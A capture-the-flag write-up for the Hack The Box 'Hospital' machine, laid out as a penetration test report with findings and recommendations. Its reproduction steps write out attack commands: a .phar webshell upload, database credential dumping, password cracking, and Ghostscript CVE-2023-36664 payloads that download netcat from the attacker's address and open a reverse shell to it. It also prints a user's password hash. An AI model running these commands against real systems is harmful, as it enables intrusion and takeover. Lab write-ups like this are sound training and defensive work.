Hack The Box Hospital Writeup (Medium Windows)

Summary

Hospital exposes a Windows domain controller alongside a web application on port 8080 that actually runs inside a Linux virtual machine. Registering an account there allows uploading medical records, and the extension filter is bypassed with a .phar webshell, giving command execution on the Linux side. config.php holds hardcoded MariaDB root credentials, the admin hash in the hospital database cracks with john, and the outdated Ubuntu kernel falls to the CVE-2023-2640 and CVE-2023-32629 overlayfs exploit for root. Reading /etc/shadow then yields drwilliams’ hash, which hashcat cracks, and those credentials log into the Roundcube instance on port 443 where drbrown asks for a .eps design to open in GhostScript. Replying with an .eps built from the CVE-2023-36664 exploit first pulls down a static netcat and then returns a reverse shell as drbrown on the Windows host. From there the webshell is written into C:\xampp\htdocs, which XAMPP serves as nt authority\system, completing the takeover.

Executive Summary for Hospital CTF Penetration Testing Report

Overview

This report details the findings from a comprehensive penetration test conducted on the IT infrastructure of HTB Hospital CTF. The test targeted a range of systems and services to identify vulnerabilities that could be exploited by malicious actors. Significant security flaws were discovered across various components, including web servers, database servers, and system configurations.

Key Findings

1. Upload File Restriction Bypass (Severity: Elevated): A file extension bypass vulnerability was identified on a webserver, allowing the upload of potentially malicious PHP shells. This could enable unauthorized system command execution.
2. Hardcoded Database Credentials (Severity: Elevated): The HTB Hospital CTF database server was found to use hardcoded credentials within web application configuration files, posing a risk of unauthorized data access.
3. Weak Password Policy (Severity: Elevated): Password hashes for administrative accounts were cracked using common password recovery tools, indicating a weak password policy.
4. Outdated Ubuntu Version Exploitation (Severity: High): An outdated Ubuntu server was vulnerable to a known privilege escalation exploit, potentially allowing attackers to gain root access.
5. Lateral Movement via Password Cracking (Severity: Elevated): Further to gaining initial access, lateral movement was possible within the network by cracking additional user passwords.
6. GhostScript Command Injection (Severity: High): A command injection vulnerability in GhostScript was exploited to achieve remote command execution, highlighting the risk of using outdated software.
7. Web Server Takeover (Severity: Extreme): It was possible to escalate privileges and execute commands as the system administrator via a compromised web server, leading to complete system takeover.

Recommendations

1. Implement robust input validation to prevent upload of malicious files, even when disguised with alternative extensions
2. Remove hardcoded credentials and implement secure credential storage mechanisms alongside regular audits to ensure credentials are not exposed.
3. Enforce a strong password policy with complexity requirements and regular changes to prevent password cracking.
4. Regularly update systems and software to mitigate known vulnerabilities and reduce the risk of exploitation.
5. Use network segmentation and monitoring to detect and prevent lateral movement within the network.
6. Regularly update all software components and apply security patches promptly, particularly for critical components like GhostScript.
7. Restrict file write permissions on critical directories and implement application whitelisting to prevent unauthorized software execution.

Summary

The penetration test revealed multiple critical vulnerabilities that could be exploited to gain unauthorized access, escalate privileges, and compromise patient data integrity and confidentiality. Immediate attention to the outlined recommendations is crucial to enhance the security posture of the HTB Hospital CTF IT infrastructure and protect against potential cyber threats.

Initial Target - 10.10.11.241

Service Enumeration

IP Address	TCP Ports Open
10.10.11.241	22, 53, 88, 135, 139, 389, 443, 445, 464, 593, 636, 1801, 2103, 2105, 2107, 2179, 3268, 3269, 3389, 5985, 6404, 6406, 6407, 6409, 6616, 6631, 6647, 8080, 9389

BS01: Initial Access - Upload File Restriction via Extension Bypass

Explanation: The webserver on port 8080 allows for authenticated users to upload their medical records. However, a malicious actor could bypass the file extension restriction in place (that blocks .php and other common php extensions) to upload a php shell and execute system commands on that server.

Severity: Elevated

Recommendation: (1 paragraph recommendation)

Steps to Reproduce the Attack:

1. Create an account at http://hospital.htb:8080.

2. Log in to your account.

3. Download this php webshell and save it to shell.phar

4. Upload the shell and access it at http://hospital.htb:8080/uploads/shell.phar

BS02: Hardcoded Database Credentials

Explanation: The credentials for the mariadb database on port 3306 of the linux instance with IP 192.168.5.2 is hardcoded at /var/www/html/config.php. A remote attacker could be able to log in to the database and extract sensitive user information, including usernames and password hashes.

Severity: Elevated

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. Read the contents of config file: cat /var/www/html/config.php

2. Use the credentials to log in to the database: mysql -u root -p;

3. Use the hospital database: use hospital

4. Dump the users table: select * from users;

BS03: Password Hash Cracking

Explanation: The password hash for “admin” was easily cracked with a password recovery tool. That indicates that a weak password policy is present within the organization, posing a significant security risk.

Severity: Elevated

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. After logging in to the database, copy the password hash for the admin user and save it locally to your machine.

2. Use john, a password recovery tool, to crack it: john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. After a few seconds, the password hash will be cracked.

BS04: Horizontal Privilege Escalation - Old and Vulnerable Ubuntu Version

Explanation: From this github repo containing the PoC: “On Ubuntu kernels carrying both c914c0e27eb0 and “UBUNTU: SAUCE: overlayfs: Skip permission checking for trusted.overlayfs.* xattrs”, an unprivileged user may set privileged extended attributes on the mounted files, leading them to be set on the upper files without the appropriate security checks.” A remote attacker could abuse this vulnerability to obtain root privileges on the target machine.

Severity: High

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. Download the PoC mentioned above and follow the instructions on the github page to get the exploit to work.

BS05: Lateral Movement - Password Hash Cracking

Explanation: The password hash for “drwilliams” was easily cracked after being obtained by exploiting BS04 and reading the /etc/shadow file.

Severity: Elevated

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. Exploit **BS04 **in order to get root access to the target machine.

2. Read the contents of /etc/shadow: cat /etc/shadow

3. Copy the password hash for “drwilliams”. In this case, $6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/, and save it to “drwilliams.hash” on your attacking machine.

4. Use hashcat with the widely available word-list “rockyou.txt” to crack the hash: hashcat drwilliams.hash /usr/share/wordlists/rockyou.txt

BS06: Horizontal Privilege Escalation - GhostScript Command Injection

Explanation: It is possible to log in to the roundcube mail instance on port 443 (https://hospital.htb) using the credentials found for “drwilliams” previously as described in BS05. An email from “drbrown” discloses that they are using GhostScript software to handle designs for a 3D printer, and that they expect “drwilliams” to send them a design with .eps extension.

After crafting a malicious .eps file by exploiting CVE-2023-36664 and sending the file to “drbrown” as an attachment to a reply to that email, we get remote command execution as the user “drbrown” in the windows environment.

Severity: High

Recommendation: From Kroll: “Ghostscript is a widely used but not necessarily widely known package. It can be executed in many different ways, from opening a file in a vector image editor such as Inkscape to printing a file via CUPS. This means that an exploitation of a vulnerability in Ghostscript might not be limited to one application or be immediately obvious. As a result, it is important to upgrade to the latest version or apply security patches to your current version.”

Steps to Reproduce:

1. Download this PoC exploit: git clone https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection.git

2. Download this repository containing static binaries. We’ll need to upload a netcat static binary compiled for windows in order to get a reverse shell connection: git clone https://github.com/andrew-d/static-binaries.git

3. Enter the static binaries for windows folder: cd static-binaries/binaries/windows/x86

4. Host a simple web server with python: python3 -m http.server 80

5. With other terminal, join the CVE folder: cd CVE-2023-36664-Ghostscript-command-injection

6. Create a malicious eps file to make the target machine connect back to our attacking machine and download the static binary for netcat: python3 CVE_2023_36664_exploit.py -i -f file.eps -p "curl http://YOUR-TUN0-IP-ADDRESS/ncat.exe -o nc.exe"

7. Send a reply to drbrown@hospital.htb with the malicious eps file attached using the roundcube instance at https://hospital.htb.

8. Wait a few seconds, and you’ll notice that the target machine indeed made a request to the python web server, requesting the netcat binary. By this time, a “nc.exe” file should have been created in the target machine. Now, we’ll proceed with the reverse shell connection.

9. Generate another malicious eps file, this time embedding a reverse shell payload: python3 CVE_2023_36664_exploit.py -g -x eps -p "nc.exe -e cmd.exe YOUR-TUN0-IP-ADDRESS 1337"

10. Open up the specified port in the payload to receive the connection: nc -lvnp 1337

11. Repeat step 7, but this time you’ll have to attach the “malicious.eps” file that was created on step 9.

12. After a few seconds, you should receive a connection back.

BS07: Vertical Privilege Escalation - Web Server Takeover

Explanation: It was possible to, after getting access as the system user “drbrown”, to create a malicious php file at C:\xampp\htdocs to execute system commands as the user who ran the web server. The user responsible for running the webserver was actually nt authority\system. Therefore, any user with write permissions to the htdocs directory could insert malicious php code and execute system commands as the administrator, this way successfully obtaining full control over the target machine.

Severity: Extreme

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. We’ll use the webshell discussed in the topic BS01, item 3. Fire up a simple python web server at the same location as the webshell file in your system: python3 -m http.server 80

2. Head to C:\xampp\htdocs in the target machine: cd C:\xampp\htdocs

3. Download the webshell: curl http://YOUR-TUN0-IP-ADDRESS/powny.php -o powny.php

4. Access the webshell with your browser at https://hospital.htb/powny.php.